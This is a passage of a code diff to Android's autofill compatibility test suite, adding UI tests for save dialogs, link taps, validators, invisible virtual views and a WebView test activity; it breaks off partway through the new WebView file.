+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown.
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Tap back to restore the Save UI...
+ sUiBot.pressBack();
+ // Make sure previous activity is back...
+ sUiBot.assertShownByRelativeId(ID_LABEL);
+
+ // ...but don't tap it...
+ final UiObject2 saveUi2 = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // ...instead, do something to dismiss it:
+ switch (action) {
+ case TOUCH_OUTSIDE:
+ sUiBot.assertShownByRelativeId(ID_LABEL).longClick();
+ break;
+ case TAP_NO_ON_SAVE_UI:
+ sUiBot.saveForAutofill(saveUi2, false);
+ break;
+ case TAP_YES_ON_SAVE_UI:
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+ Helper.assertNoDanglingSessions();
+ break;
+ default:
+ throw new IllegalArgumentException("invalid action: " + action);
+ }
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Make sure previous session was finished.
+ Helper.assertNoDanglingSessions();
+
+ // Now triggers a new session and do business as usual...
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ if (manualRequest) {
+ mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+ } else {
+ mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+ }
+
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("42");
+ mActivity.mCommit.performClick();
+ });
+
+ // Save it...
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
+ }
+
+ @Override
+ protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception {
+ startActivity(type == PostSaveLinkTappedAction.TAP_RECENTS);
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+ // Tap the link.
+ tapSaveUiLink(saveUi);
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+
+ switch (type) {
+ case TAP_RECENTS:
+ sUiBot.switchAppsUsingRecents();
+ break;
+ case LAUNCH_PREVIOUS_ACTIVITY:
+ startActivity(SimpleSaveActivity.class);
+ break;
+ case LAUNCH_NEW_ACTIVITY:
+ // Launch a 3rd activity...
+ startActivity(LoginActivity.class);
+ sUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+ // ...then go back
+ sUiBot.pressBack();
+ break;
+ default:
+ throw new IllegalArgumentException("invalid type: " + type);
+ }
+ // Make sure right activity is showing
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Override
+ protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+ throws Exception {
+ // Prepare activity.
+ startActivity();
+ mActivity.mInput.getRootView()
+ .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(TrampolineWelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+
+ // Tap the link.
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+
+ // Save UI should be showing as well, since Trampoline finished.
+ sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Go back and make sure it's showing the right activity.
+ sUiBot.pressBack();
+ sUiBot.assertShownByRelativeId(ID_LABEL);
+
+ // Now start a new session.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PASSWORD)
+ .build());
+ mActivity.getAutofillManager().requestAutofill(mActivity.mPassword);
+ sReplier.getNextFillRequest();
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mPassword.setText("42");
+ mActivity.mCommit.performClick();
+ });
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
index b96e5e3..d4be2e6 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
@@ -15,16 +15,14 @@
*/
package android.autofillservice.cts;
+import static android.autofillservice.cts.AbstractTimePickerActivity.ID_OUTPUT;
+import static android.autofillservice.cts.AbstractTimePickerActivity.ID_TIME_PICKER;
import static android.autofillservice.cts.Helper.assertNumberOfChildren;
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.assertTextIsSanitized;
import static android.autofillservice.cts.Helper.assertTimeValue;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.autofillservice.cts.AbstractTimePickerActivity.ID_OUTPUT;
-import static android.autofillservice.cts.AbstractTimePickerActivity.ID_TIME_PICKER;
import static com.google.common.truth.Truth.assertWithMessage;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java
new file mode 100644
index 0000000..dc39808
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/TrampolineWelcomeActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * Activity that launches a new {@link WelcomeActivity} and finishes right away.
+ */
+public class TrampolineWelcomeActivity extends AbstractAutoFillActivity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ startActivity(new Intent(this, WelcomeActivity.class));
+ finish();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 774d7fe..c84411b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -18,7 +18,9 @@
import static android.autofillservice.cts.Helper.NOT_SHOWING_TIMEOUT_MS;
import static android.autofillservice.cts.Helper.SAVE_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.UI_RECENTS_SWITCH_TIMEOUT_MS;
import static android.autofillservice.cts.Helper.UI_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.runShellCommand;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
@@ -29,20 +31,24 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.junit.Assume.assumeTrue;
+
import android.app.Instrumentation;
import android.app.UiAutomation;
+import android.content.Context;
import android.content.res.Resources;
import android.os.SystemClock;
import android.service.autofill.SaveInfo;
-import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
import android.text.Html;
import android.util.Log;
import android.view.accessibility.AccessibilityWindowInfo;
+import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
@@ -54,6 +60,7 @@
private static final String RESOURCE_ID_DATASET_PICKER = "autofill_dataset_picker";
private static final String RESOURCE_ID_SAVE_SNACKBAR = "autofill_save";
+ private static final String RESOURCE_ID_SAVE_ICON = "autofill_save_icon";
private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
@@ -72,6 +79,9 @@
"autofill_picker_accessibility_title";
private static final String RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE =
"autofill_save_accessibility_title";
+ private static final String RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION =
+ "config_forceDefaultOrientation";
+
private static final String TAG = "AutoFillCtsUiBot";
@@ -83,15 +93,24 @@
private final UiDevice mDevice;
+ private final Context mContext;
private final String mPackageName;
private final UiAutomation mAutoman;
UiBot(Instrumentation instrumentation) throws Exception {
mDevice = UiDevice.getInstance(instrumentation);
- mPackageName = instrumentation.getContext().getPackageName();
+ mContext = instrumentation.getContext();
+ mPackageName = mContext.getPackageName();
mAutoman = instrumentation.getUiAutomation();
}
+ void assumeMinimumResolution(int minSize) {
+ final int width = mDevice.getDisplayWidth();
+ final int heigth = mDevice.getDisplayHeight();
+ final int min = Math.min(width, heigth);
+ assumeTrue("Screen size is too small (" + width + "x" + heigth + ")", min >= minSize);
+ }
+
/**
* Asserts the dataset chooser is not shown.
*/
@@ -237,6 +256,31 @@
}
/**
+ * Asserts the id is shown on the screen, using a resource id from the test package.
+ */
+ UiObject2 assertShownByRelativeId(String id) {
+ final UiObject2 obj = waitForObject(By.res(mPackageName, id));
+ assertThat(obj).isNotNull();
+ return obj;
+ }
+
+ /**
+ * Asserts the id is not shown on the screen anymore, using a resource id from the test package.
+ *
+ * <p><b>Note:</b> this method should only called AFTER the id was previously shown, otherwise
+ * it might pass without really asserting anything.
+ */
+ void assertGoneByRelativeId(String id, long timeoutMs) throws IOException {
+ boolean gone = mDevice.wait(Until.gone(By.res(mPackageName, id)), timeoutMs);
+ if (!gone) {
+ final String message = "Object with id '" + id + "' should be gone after "
+ + timeoutMs + " ms";
+ dumpScreen();
+ throw new RetryableException(message);
+ }
+ }
+
+ /**
* Gets the text set on a view.
*/
String getTextById(String id) {
@@ -274,7 +318,7 @@
}
/**
- * Presses the back button.
+ * Presses the Back button.
*/
void pressBack() {
Log.d(TAG, "pressBack()");
@@ -282,12 +326,30 @@
}
/**
- * Presses the home button.
+ * Presses the Home button.
*/
void pressHome() {
Log.d(TAG, "pressHome()");
mDevice.pressHome();
}
+
+ /**
+ * Uses the Recents button to switch back to previous activity
+ */
+ void switchAppsUsingRecents() throws Exception {
+ Log.d(TAG, "switchAppsUsingRecents()");
+
+ // Press once to show list of apps...
+ mDevice.pressRecentApps();
+
+ // ...wait until apps are shown...
+ // TODO(b/37566627): figure out a way to wait for a specific UI instead.
+ SystemClock.sleep(UI_RECENTS_SWITCH_TIMEOUT_MS);
+
+ // ...press again to go back to the activity.
+ mDevice.pressRecentApps();
+ }
+
/**
* Asserts the save snackbar is not showing and returns it.
*/
@@ -346,8 +408,15 @@
final UiObject2 snackbar = waitForObject(By.res("android", RESOURCE_ID_SAVE_SNACKBAR),
timeout);
- final UiObject2 titleView = snackbar.findObject(By.res("android", RESOURCE_ID_SAVE_TITLE));
- assertWithMessage("save title (%s)", RESOURCE_ID_SAVE_TITLE).that(titleView).isNotNull();
+ final UiObject2 titleView =
+ waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_TITLE), UI_TIMEOUT_MS);
+ assertWithMessage("save title (%s) is not shown", RESOURCE_ID_SAVE_TITLE).that(titleView)
+ .isNotNull();
+
+ final UiObject2 iconView =
+ waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_ICON), UI_TIMEOUT_MS);
+ assertWithMessage("save icon (%s) is not shown", RESOURCE_ID_SAVE_ICON).that(iconView)
+ .isNotNull();
final String actualTitle = titleView.getText();
Log.d(TAG, "save title: " + actualTitle);
@@ -466,7 +535,7 @@
* Gets a string from the Android resources.
*/
private String getString(String id) {
- final Resources resources = InstrumentationRegistry.getContext().getResources();
+ final Resources resources = mContext.getResources();
final int stringId = resources.getIdentifier(id, "string", "android");
return resources.getString(stringId);
}
@@ -475,7 +544,7 @@
* Gets a string from the Android resources.
*/
private String getString(String id, Object... formatArgs) {
- final Resources resources = InstrumentationRegistry.getContext().getResources();
+ final Resources resources = mContext.getResources();
final int stringId = resources.getIdentifier(id, "string", "android");
return resources.getString(stringId, formatArgs);
}
@@ -492,15 +561,18 @@
/**
* Waits for and returns an object.
*
+ * @param parent where to find the object (or {@code null} to use device's root).
* @param selector {@link BySelector} that identifies the object.
* @param timeout timeout in ms
*/
- private UiObject2 waitForObject(BySelector selector, long timeout) {
+ private UiObject2 waitForObject(UiObject2 parent, BySelector selector, long timeout) {
// NOTE: mDevice.wait does not work for the save snackbar, so we need a polling approach.
final int maxTries = 5;
final long napTime = timeout / maxTries;
for (int i = 1; i <= maxTries; i++) {
- final UiObject2 uiObject = mDevice.findObject(selector);
+ final UiObject2 uiObject = parent != null
+ ? parent.findObject(selector)
+ : mDevice.findObject(selector);
if (uiObject != null) {
return uiObject;
}
@@ -508,6 +580,17 @@
}
throw new RetryableException("Object with selector '%s' not found in %d ms",
selector, UI_TIMEOUT_MS);
+
+ }
+
+ /**
+ * Waits for and returns an object.
+ *
+ * @param selector {@link BySelector} that identifies the object.
+ * @param timeout timeout in ms
+ */
+ private UiObject2 waitForObject(BySelector selector, long timeout) {
+ return waitForObject(null, selector, timeout);
}
/**
@@ -607,4 +690,68 @@
public int getScreenOrientation() {
return mDevice.getDisplayRotation();
}
-}
+
+ /**
+ * Dumps the current view hierarchy int the output stream.
+ */
+ public void dumpScreen() throws IOException {
+ mDevice.dumpWindowHierarchy(System.out);
+ }
+
+ /**
+ * Sets screen resolution.
+ *
+ * <p>If the screen is too small and the devices shows an IME, it might not have space for all
+ * UI elements after the device is rotated to landscape.
+ *
+ * <p>{@link #resetScreenResolution()} should always be called too.
+ *
+ * @deprecated this method should not be necessarily anymore as we're using a MockIme.
+ */
+ @Deprecated // TODO: remove once we're sure no more OEM is getting failure due to screen size
+ void setScreenResolution() {
+ if (true) {
+ Log.w(TAG, "setScreenResolution(): ignored");
+ return;
+ }
+ assumeMinimumResolution(500);
+
+ runShellCommand("wm size 1080x1920");
+ runShellCommand("wm density 320");
+ }
+
+ /**
+ * Resets screen resolution.
+ *
+ * @deprecated this method should not be necessarily anymore as we're using a MockIme.
+ */
+ @Deprecated // TODO: remove once we're sure no more OEM is getting failure due to screen size
+ void resetScreenResolution() {
+ if (true) {
+ Log.w(TAG, "resetScreenResolution(): ignored");
+ return;
+ }
+ runShellCommand("wm density reset");
+ runShellCommand("wm size reset");
+ }
+
+ private boolean getBoolean(String id) {
+ final Resources resources = mContext.getResources();
+ final int booleanId = resources.getIdentifier(id, "bool", "android");
+ return resources.getBoolean(booleanId);
+ }
+
+ /**
+ * Returns {@code true} if display rotation is supported, {@code false} otherwise.
+ */
+ public boolean isScreenRotationSupported() {
+ try {
+ return !getBoolean(RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION);
+ } catch (Resources.NotFoundException e) {
+ Log.d(TAG, "Resource not found: "
+ + RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION
+ + ". Assume rotation supported");
+ return true;
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
new file mode 100644
index 0000000..21ebac2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import android.service.autofill.LuhnChecksumValidator;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.Validator;
+import android.service.autofill.Validators;
+import android.support.annotation.NonNull;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.function.BiFunction;
+import java.util.regex.Pattern;
+
+public class ValidatorTest extends AutoFillServiceTestCase {
+ @Rule
+ public final AutofillActivityTestRule<LoginActivity> mActivityRule =
+ new AutofillActivityTestRule<>(LoginActivity.class);
+
+ private LoginActivity mActivity;
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ }
+
+ @After
+ public void finishWelcomeActivity() {
+ WelcomeActivity.finishIt();
+ }
+
+ /**
+ * Base test
+ *
+ * @param validatorBuilder method to build a validator
+ * @param willSaveBeShown Whether the save pop-up will be shown
+ */
+ private void testValidator(
+ @NonNull BiFunction<AutofillId, AutofillId, Validator> validatorBuilder,
+ boolean willSaveBeShown) throws Exception {
+ enableService();
+
+ AutofillId usernameId = mActivity.getUsername().getAutofillId();
+ AutofillId passwordId = mActivity.getPassword().getAutofillId();
+
+ // Set response
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
+ .setValidator(validatorBuilder.apply(usernameId, passwordId))
+ .build());
+
+ // Trigger auto-fill
+ mActivity.onPassword(View::requestFocus);
+
+ // Wait for onFill() before proceeding.
+ sReplier.getNextFillRequest();
+
+ // Trigger save.
+ mActivity.onUsername((v) -> v.setText("7992739871-3"));
+ mActivity.onPassword((v) -> v.setText("passwd"));
+ mActivity.tapLogin();
+
+ if (willSaveBeShown) {
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+ sReplier.getNextSaveRequest();
+ } else {
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ assertNoDanglingSessions();
+ }
+
+ @Test
+ public void checkForInvalidField() throws Exception {
+ testValidator((usernameId, passwordId) -> Validators.or(
+ new LuhnChecksumValidator(new AutofillId(-1)),
+ new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
+ }
+
+ @Test
+ public void checkBoth() throws Exception {
+ testValidator((usernameId, passwordId) -> Validators.and(
+ new LuhnChecksumValidator(usernameId),
+ new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
+ }
+
+ @Test
+ public void checkEither1() throws Exception {
+ testValidator((usernameId, passwordId) -> Validators.or(
+ new RegexValidator(usernameId, Pattern.compile("7.*")),
+ new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
+ }
+
+ @Test
+ public void checkEither2() throws Exception {
+ testValidator((usernameId, passwordId) -> Validators.or(
+ new RegexValidator(usernameId, Pattern.compile("invalid")),
+ new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
+ }
+
+ @Test
+ public void checkBothButFail() throws Exception {
+ testValidator((usernameId, passwordId) -> Validators.and(
+ new RegexValidator(usernameId, Pattern.compile("7.*")),
+ new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
+ }
+
+ @Test
+ public void checkEitherButFail() throws Exception {
+ testValidator((usernameId, passwordId) -> Validators.or(
+ new RegexValidator(usernameId, Pattern.compile("invalid")),
+ new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
index 541250b..15ae91b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
@@ -175,6 +175,10 @@
@Test
public void checkViewLocationInAssistStructure() throws Exception {
+ // If screen is not large enough to contain child, the
+ // height/weight will be the residual space instead of the
+ // specific size.
+ sUiBot.assumeMinimumResolution(500);
onAssistStructure(false, (structure) -> {
// check size of outerView
AssistStructure.ViewNode outerView = findNodeByResourceId(structure,
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
index 82bf213..65f3378 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivity.java
@@ -26,7 +26,6 @@
import android.autofillservice.cts.VirtualContainerView.Line.OneTimeLineWatcher;
import android.graphics.Canvas;
import android.os.Bundle;
-import android.view.autofill.AutofillManager;
/**
* A custom activity that uses {@link Canvas} to draw the following fields:
@@ -53,7 +52,7 @@
setContentView(R.layout.virtual_container_activity);
- mCustomView = (VirtualContainerView) findViewById(R.id.virtual_container_view);
+ mCustomView = findViewById(R.id.virtual_container_view);
mUsername = mCustomView.addLine(ID_USERNAME_LABEL, "Username", ID_USERNAME, BLANK_VALUE);
mPassword = mCustomView.addLine(ID_PASSWORD_LABEL, "Password", ID_PASSWORD, BLANK_VALUE);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
index 7b767cf..31eae24 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
@@ -37,6 +37,8 @@
import android.autofillservice.cts.VirtualContainerView.Line;
import android.content.ComponentName;
import android.graphics.Rect;
+import android.os.SystemClock;
+import android.service.autofill.SaveInfo;
import android.support.test.uiautomator.UiObject2;
import android.view.autofill.AutofillManager;
@@ -45,6 +47,9 @@
import org.junit.Rule;
import org.junit.Test;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
/**
* Test case for an activity containing virtual children.
*/
@@ -369,6 +374,43 @@
sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
}
+ @Test
+ public void testSaveDialogShownWhenAllVirtualViewsNotVisible() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .setFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+ .build());
+
+ final CountDownLatch latch = new CountDownLatch(1);
+
+ // Trigger auto-fill.
+ mActivity.runOnUiThread(() -> {
+ mActivity.mUsername.changeFocus(true);
+ latch.countDown();
+ });
+ latch.await(Helper.UI_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ sReplier.getNextFillRequest();
+
+ // TODO: 63602573 Should be removed once this bug is fixed
+ SystemClock.sleep(1000);
+
+ mActivity.runOnUiThread(() -> {
+ // Fill in some stuff
+ mActivity.mUsername.setText("foo");
+ mActivity.mPassword.setText("bar");
+
+ // Hide all virtual views
+ mActivity.mUsername.changeVisibility(false);
+ mActivity.mPassword.changeVisibility(false);
+ });
+
+ // Make sure save is shown
+ sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+ }
@Test
public void testAppCannotFakePackageName() throws Exception {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
index 3098b60..8eecc29 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -133,6 +133,9 @@
for (int i = 0; i < mLines.size(); i++) {
x = mLeftMargin;
final Line line = mLines.get(i);
+ if (!line.visible) {
+ continue;
+ }
Log.v(TAG, "Drawing '" + line + "' at " + x + "x" + y);
mTextPaint.setColor(line.focused ? mFocusedColor : mUnfocusedColor);
final String readOnlyText = line.label.text + ": [";
@@ -270,7 +273,6 @@
mFakedComponentName = name;
}
-
void setOverrideDispatchProvideAutofillStructure(boolean flag) {
mOverrideDispatchProvideAutofillStructure = flag;
}
@@ -285,6 +287,7 @@
final Rect bounds = new Rect();
private boolean focused;
+ private boolean visible = true;
private Line(String labelId, String label, String textId, String text) {
this.label = new Item(this, ++nextId, labelId, label, false, false);
@@ -303,6 +306,16 @@
}
}
+ void changeVisibility(boolean visible) {
+ if (this.visible == visible) {
+ return;
+ }
+ this.visible = visible;
+ mAfm.notifyViewVisibilityChanged(VirtualContainerView.this, text.id, visible);
+ Log.d(TAG, "visibility changed view: " + text.id + "; visible:" + visible);
+ invalidate();
+ }
+
Rect getAbsCoordinates() {
// Must offset the boundaries so they're relative to the CustomView.
final int offset[] = new int[2];
@@ -315,13 +328,25 @@
return absBounds;
}
+ void setText(String value) {
+ text.text = value;
+ final AutofillManager autofillManager =
+ getContext().getSystemService(AutofillManager.class);
+ if (autofillManager != null) {
+ autofillManager.notifyValueChanged(VirtualContainerView.this, text.id,
+ AutofillValue.forText(text.text));
+ }
+ invalidate();
+ }
+
void setTextChangedListener(TextWatcher listener) {
text.listener = listener;
}
@Override
public String toString() {
- return "Label: " + label + " Text: " + text + " Focused: " + focused;
+ return "Label: " + label + " Text: " + text + " Focused: " + focused
+ + " Visible: " + visible;
}
final class OneTimeLineWatcher implements TextWatcher {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
new file mode 100644
index 0000000..2ef5141
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.Bundle;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.webkit.WebResourceRequest;
+import android.webkit.WebResourceResponse;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+import android.widget.EditText;
+
+import java.io.IOException;
+
+public class WebViewActivity extends AbstractAutoFillActivity {
+
+ private static final String TAG = "WebViewActivity";
+ static final String FAKE_DOMAIN = "y.u.no.real.server";
+ private static final String FAKE_URL = "https://" + FAKE_DOMAIN + ":666/login.html";
+ static final String ID_WEBVIEW = "webview";
+
+ MyWebView mWebView;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.webview_activity);
+
+ mWebView = findViewById(R.id.webview);
